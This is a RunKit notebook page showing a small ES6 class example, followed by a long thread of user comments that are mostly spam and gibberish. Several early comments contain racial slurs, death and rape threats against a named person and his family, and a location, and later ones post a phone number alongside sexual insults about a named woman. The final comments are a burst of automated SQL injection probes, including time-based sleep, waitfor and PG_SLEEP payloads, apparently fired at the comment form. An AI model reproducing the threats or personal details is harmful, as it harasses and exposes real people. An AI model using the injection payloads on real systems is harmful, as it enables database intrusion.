Would you like to clone this notebook?

When you clone a notebook you are able to make changes without affecting the original notebook.

Cancel

ES6 Classes

node v4.9.1
version: 1.0.0
endpointsharetweet
Classes are a shorthand that make it easier to work with JavaScript's existin prototypal inheritance.
class Shape { constructor(sides) { this._sides = sides; } get sides() { return this._sides; } }
class Triangle extends Shape { constructor(...angles) { super(3) this._angles = angles; if (angles.length !== 3 || angles[0] + angles[1] + angles[2] !== 180) throw RangeError("Triangles must have 3 sides at angles equaling 180"); } get angles() { return this._angles; } }
(new Triangle(90,45,45)).sides
Loading…

134 comments

  • posted 7 years ago by 5a25a1f84876460012539b35
    iza's asshole is gaping wide when he went to prison
  • posted 7 years ago by 5a25a1f84876460012539b35
    there gonna send him back for some more
  • posted 7 years ago by 5a25a1f84876460012539b35
    duck duck goose
  • posted 7 years ago by 5a25a1f84876460012539b35
    FUCKING NIGGER
  • posted 7 years ago by 5a25a1f84876460012539b35
    ay fuck you cuz \\
  • posted 7 years ago by 5a25a1f84876460012539b35
    IMMA KILL YA FAMILY
  • posted 7 years ago by 5a25a1f84876460012539b35
    do it bitch try to kill iza's family
  • posted 7 years ago by 5a25a1f84876460012539b35
    he lives in covina CA
  • posted 7 years ago by 5a25a1f84876460012539b35
    im coming for ya nigga
  • posted 7 years ago by 5a25a1f84876460012539b35
    IZA IM GONNA RAPE YOU CYLAT BLYAT
  • posted 7 years ago by 5a25a1f84876460012539b35
    IZA IM RAPE YOUR FAMILY CLYCA BLYT
  • posted 7 years ago by 5a25a1f84876460012539b35
    i live in the USA covina california
  • posted 7 years ago by 5a25a1f84876460012539b35
    area code 91706
  • posted 7 years ago by dirtydeeds25
    YOU SOUND LIKE A BUNCH IGNORANT ASSHOLES ACTUALLY YOU WOULD HAVE TO MARK AN " X " YOU BOTH LOOK LIKE ALL ASSHOLES TO ME
  • posted 7 years ago by lavonda15
    Life is like the wind you never know what direction it's going to blow you in...QLl
  • posted 6 years ago by tamu18115
    automobileservices.org
  • posted 6 years ago by quangthong81
    Follow
  • posted 6 years ago by 5b8c17e413b6a400127dafeb
    Were is my car or do I need to go get one
  • posted 6 years ago by warbee
    why am I having this o n my work flo?
  • posted 6 years ago by ekkarat
    How do it.?
  • posted 6 years ago by 865363729
    15759016569
  • posted 5 years ago by carmella
    any p;ost from 1993?
  • posted 5 years ago by abhishektech
    huhh...
  • posted 5 years ago by aman3577
    Hi support all members i request me
  • posted 5 years ago by polo87
    If a nigga ask if it was took most would give it back
  • posted 5 years ago by davionlt
    Davionltaylor@0910E-mail.com
  • posted 4 years ago by alison
    Ajuda
  • posted 4 years ago by kohlim6
    Microsoft azurE, directly activactive
  • posted 4 years ago by mike1978
    Ambers a fucking whore
  • posted 4 years ago by rhc2629
    What the fucck???
  • posted 4 years ago by abc482
    https://hacks.mozilla.org/2015/05/es6-in-depth-template-strings-2/
  • posted 4 years ago by mike1978
    fck you bitch niggef and fuck your mother bitch i bury all you faggots i fuck your bigch shes loseer than fuck
  • posted 4 years ago by mike1978
    whats up pussy bring your ass to usa
  • posted 4 years ago by mike1978
    amber fuck evergbodys she a walkkng dieses
  • posted 4 years ago by mike1978
    the bitch numbe is 5053572857
  • posted 4 years ago by mike1978
    you wanna die keep fucking aroung
  • posted 4 years ago by the-siths
    Gr8
  • posted 4 years ago by dethslayer187
    Howwe to use run kit now use hack cheat in clicking war of clans
  • posted 4 years ago by dethslayer187
    Pleeeeeeease I seeee it all over so easy but won’t tell u where or how to enter hack or codes just left hanging pleeeeease help!!!!????? DETH
  • posted 4 years ago by 5ff366fd5d7128001a57fff8
    4'4/4-2 whatcollection fat diamon blue diamond48.000gold pieaces orange $1=$900 were people get atutde from that not f.b.
  • posted 4 years ago by 5ff366fd5d7128001a57fff8
    43608samrone johnathan wright419
  • posted 4 years ago by 5ffa17cdcd169b00196fb2fa
    300
  • posted 4 years ago by abba79
    Good morning sir
  • posted 4 years ago by abba79
    <script src="https://j5m9809437js.statuspage.io/embed/script.js"></script>4751016012 ABBA shettaima
  • posted 4 years ago by gallogit
    AAAuntomaticomobiles mitriples
  • posted 4 years ago by ssuaretrack7076
    how am i to crect it
  • posted 4 years ago by nobviksa
    { "message": "CSRF token failure", "csrf": "09a8b6ed-68eb-4683-88b1-88762e133f80" }
  • posted 4 years ago by juannpm
    https://github.com/firstandthird/runkit#readme
  • posted 3 years ago by 60c57c2acd62c9001b411a1c
    Hi
  • posted 3 years ago by goeb36
    Mgfd36
  • posted 3 years ago by joshmckee8188
    How is everyone doing today, hope all is well
  • posted 3 years ago by humblehealer
    im confused
  • posted 3 years ago by docx1
    That's good always wrapped up find sealed and delivered number one to the next 1
  • posted 3 years ago by 61900dadc21034000ab7aa75
    ᨯᨿᨿᨵᨯᨯᩋ
  • posted 3 years ago by 6192df4a6988e000074e1cbf
    bba615523@gmail.com
  • posted 3 years ago by ogbread
    0x67e33BE498Fe760B97D464996271b6CB2C341366
  • posted 3 years ago by lo123123
    Teidyeigrurd TV rxct ldbdpannwuey Je
  • posted 3 years ago by dboss0701icloud
    Sqare no
  • posted 3 years ago by etherchain
    es6
  • posted 3 years ago by 626534766803ab000891d8f5
    2 4.5G
  • posted 3 years ago by okutarahab
    PleasePlease canPlease can you with
  • posted 3 years ago by okutarahab
    Need some money
  • posted 2 years ago by pandoraxp
    AAiaai
  • posted 2 years ago by markwilliam
    Need money
  • posted 2 years ago by deeprai
    Someone hacked my personal information my whole personal data my old Gmail account my old Samsung account my all Google Drive data on my Google photos Michael all other information like Facebook messenger telegram Instagram to talk to either Snapchat WhatsApp someone hacked what's up big dog is very important because there's access not have and Instagram creator into much pain dirty up and development my Facebook on Apple developing and that my iPhone and my Gmail account my brother Gmail account to my house IP address and my Internet IP address my devices IP address and create you are a numberMy name on the two much create on the domain name and use someone of my view my YouTube channel something my TV hacker anything to hurt you can help me please my iCloud iPhone or your iPad or laptop anything ahead you can help me please this is my number request request please help me
  • posted 2 years ago by seun
    I need money
  • posted 2 years ago by zima3030
    anasfff ffffffffffdddddd
  • posted 2 years ago by abdulaziz64329
    Hi
  • posted 2 years ago by kaselcuk
    Selam Dünya
  • posted 2 years ago by mevah
    No names.buid wallet ,JavaScript,endpoint
  • posted 2 years ago by ban
    t left hanging pleeeeease help!!!!????? DETH posted 2 years ago by 5ff366fd5d7128001a57fff8 4'4/4-2 whatcollection fat diamon blue diamond48.000gold pieaces orange $1=$900 were people get atutde from that not f.b.
  • posted 2 years ago by frapoboss24
    Bitch
  • posted 2 years ago by teurua
    Startup
  • posted 2 years ago by teurua
    https://systeme.io/?sa=sa00651748670deed813ce493f97c7a02db25d8c96
  • posted 2 years ago by lawalkiria
    MMoey
  • posted 2 years ago by jonapaniagua
    Hi
  • posted 2 years ago by olivegarden878
    @Only_wajid_opp please my id free follow chahiye 10.8k
  • posted 2 years ago by re1da
    Reda
  • posted 2 years ago by tapash32
    Very hood
  • posted a year ago by 64898057c1eade0008a04117
    I wish all the best
  • posted a year ago by michael82
    Não sabia oque fazer
  • posted a year ago by 64bd3746646a370009f35c8b
    g
  • posted a year ago by rezeazhiri
    Veryhood
  • posted a year ago by rawgeogre71
    Hello
  • posted a year ago by mangalmajhi
    You..ym.all documents on RunKit are public, you can make them searchable by publishing. all of npm's 1,000,000+ packages are already pre-installed, just require() them use arrow functions, classes, template strings, and most of ES6. See everything we support here. await any promise instead of using callbacks (example) store secrets in environment variables export an endpoint function to turn any notebook into an API (endpoint docs) no comments
  • posted a year ago by mangalmajhi
    In RunKit, you can use top-level await to get the same behavior of synchronous code. Now we can treat this code as synchronous, despite the fact that the code is still executing asynchronously. Let's look how. It helps to have a more complex example, where we need to do a few asynchronous operations in sequence. You can see how await, promises and callbacks achieve the same results, but the await style works better in a REPL:
  • posted a year ago by mangalmajhi
    https://runkit.com/docs/endpoint
  • posted a year ago by mangalmajhi
    Created from: https://runkit.com/docs/endpoint
  • posted a year ago by mangalmajhi
    exports.endpoint
  • posted a year ago by mangalmajhi
    awaitpromisescallbacks Here, we use await on lines 4 and 8, and the results from each request remain in scope. Remember, await expects a promise so you can either write your own or use one of the many libraries that natively supports promises, and npm is full of packages that add promise support to existing libraries. Here are a few of our favorites: fs-promise - promise based filesystem api request-promise - a wrapper around "request" for http stuff glob-promise - glob style filesystem queries bluebird - general promise library with lots of utilities Further Reading ES7 Async/Await presented at Brookyln.js Babel.js ECMAScript's Proposal for async/await ES Meeting Notes discussing on async/await Does async/await Solve a Real Problem? The Long Road to async/await in JavaScript async/await: The Hero JavaScript Deserved
  • posted a year ago by mangalmajhi
    Babel.js
  • posted a year ago by mangalmajhi
    awaitpromisescallbacks Here, we use await on lines 4 and 8, and the results from each request remain in scope. Remember, await expects a promise so you can either write your own or use one of the many libraries that natively supports promises, and npm is full of packages that add promise support to existing libraries. Here are a few of our favorites: fs-promise - promise based filesystem api request-promise - a wrapper around "request" for http stuff glob-promise - glob style filesystem queries bluebird - general promise library with lots of utilities Further Reading ES7 Async/Await presented at Brookyln.js Babel.js ECMAScript's Proposal for async/await ES Meeting Notes discussing on async/await Does async/await Solve a Real Problem? The Long Road to async/await in JavaScript async/await: The Hero JavaScript Deservedexports.endpoint
  • posted a year ago by mangalmajhi
    Hello friends you have to go with everyone and college of engineering India you are free I will check with you
  • posted a year ago by mangalmajhi
    class Triangle extends Shape { constructor(...angles) { super(3) this._angles = angles; if (angles.length !== 3 || angles[0] + angles[1] + angles[2] !== 180) throw RangeError("Triangles must have 3 sides at angles equaling 180"); } get angles() { return this._angles; } } OFFICE of lien¥}©>>kelkulater..hiesotben
  • posted a year ago by mangalmajhi
    all documents on RunKit are public, you can make them searchable by publishing. all of npm's 1,000,000+ packages are already pre-installed, just require() them use arrow functions, classes, template strings, and most of ES6. See everything we support here. await any promise instead of using callbacks (example) store secrets in environment variables export an endpoint function to turn any notebook into an API (endpoint docs) no comments
  • posted a year ago by mangalmajhi
    https://runkit.com/docs/endpoint
  • posted a year ago by 64e7001da9ff480008df8733
    https://runkit.com/docs/endpointhttps://runkit.com/skip
  • posted a year ago by gagaga
    URL QUID www.example.com
  • posted 10 months ago by ebuk
    ebukajuice@gmail.com
  • posted 10 months ago by medranojose777
    Com.java24 hour; public private class Float x=2024;y=2003 Boolean=x;2024("years 2003{y=luz});
  • posted 10 months ago by mierdavila6
    X
  • posted 9 months ago by 65c9d3801c8c27000858626b
    The only y
  • posted 8 months ago by 65f4af1a049c3900082c004e
    Kk
  • posted 4 months ago by govindji38
    Hi
  • posted 2 months ago by 66ee404438b64a0008f6cba4
    Heidi
  • posted 2 months ago by 66bd3565ce278a00083db6cf
    form how use Formular the mean Smartcard.jS provides you with your daily need from club live 100
  • posted a month ago by ayhamdiko-logo
    يتبع
  • posted 21 days ago by hhhhhhhhf
    private
  • posted 10 days ago by riokecik
    Way
  • posted a day ago by xsjybldb
    1
  • posted a day ago by xsjybldb
    1
  • posted a day ago by xsjybldb
    -1 OR 2+289-289-1=0+0+0+1 --
  • posted a day ago by xsjybldb
    -1 OR 2+345-345-1=0+0+0+1
  • posted a day ago by xsjybldb
    -1' OR 2+705-705-1=0+0+0+1 --
  • posted a day ago by xsjybldb
    -1' OR 2+830-830-1=0+0+0+1 or '59zce6pY'='
  • posted a day ago by xsjybldb
    -1" OR 2+211-211-1=0+0+0+1 --
  • posted a day ago by xsjybldb
    if(now()=sysdate(),sleep(15),0)
  • posted a day ago by xsjybldb
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  • posted a day ago by xsjybldb
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  • posted a day ago by xsjybldb
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • posted a day ago by xsjybldb
    -1; waitfor delay '0:0:15' --
  • posted a day ago by xsjybldb
    -1); waitfor delay '0:0:15' --
  • posted a day ago by xsjybldb
    1 waitfor delay '0:0:15' --
  • posted a day ago by xsjybldb
    pPFOj89v'; waitfor delay '0:0:15' --
  • posted a day ago by xsjybldb
    -5 OR 688=(SELECT 688 FROM PG_SLEEP(15))--
  • posted a day ago by xsjybldb
    -5) OR 34=(SELECT 34 FROM PG_SLEEP(15))--
  • posted a day ago by xsjybldb
    -1)) OR 595=(SELECT 595 FROM PG_SLEEP(15))--
  • posted a day ago by xsjybldb
    8skQ3zE4' OR 793=(SELECT 793 FROM PG_SLEEP(15))--
  • posted a day ago by xsjybldb
    Y5vGAStW') OR 776=(SELECT 776 FROM PG_SLEEP(15))--
  • posted a day ago by xsjybldb
    eCuKMoAF')) OR 56=(SELECT 56 FROM PG_SLEEP(15))--
  • posted a day ago by xsjybldb
    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • posted a day ago by xsjybldb
    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • posted a day ago by xsjybldb
    1'"
  • posted a day ago by xsjybldb
    @@EUz1C

sign in to comment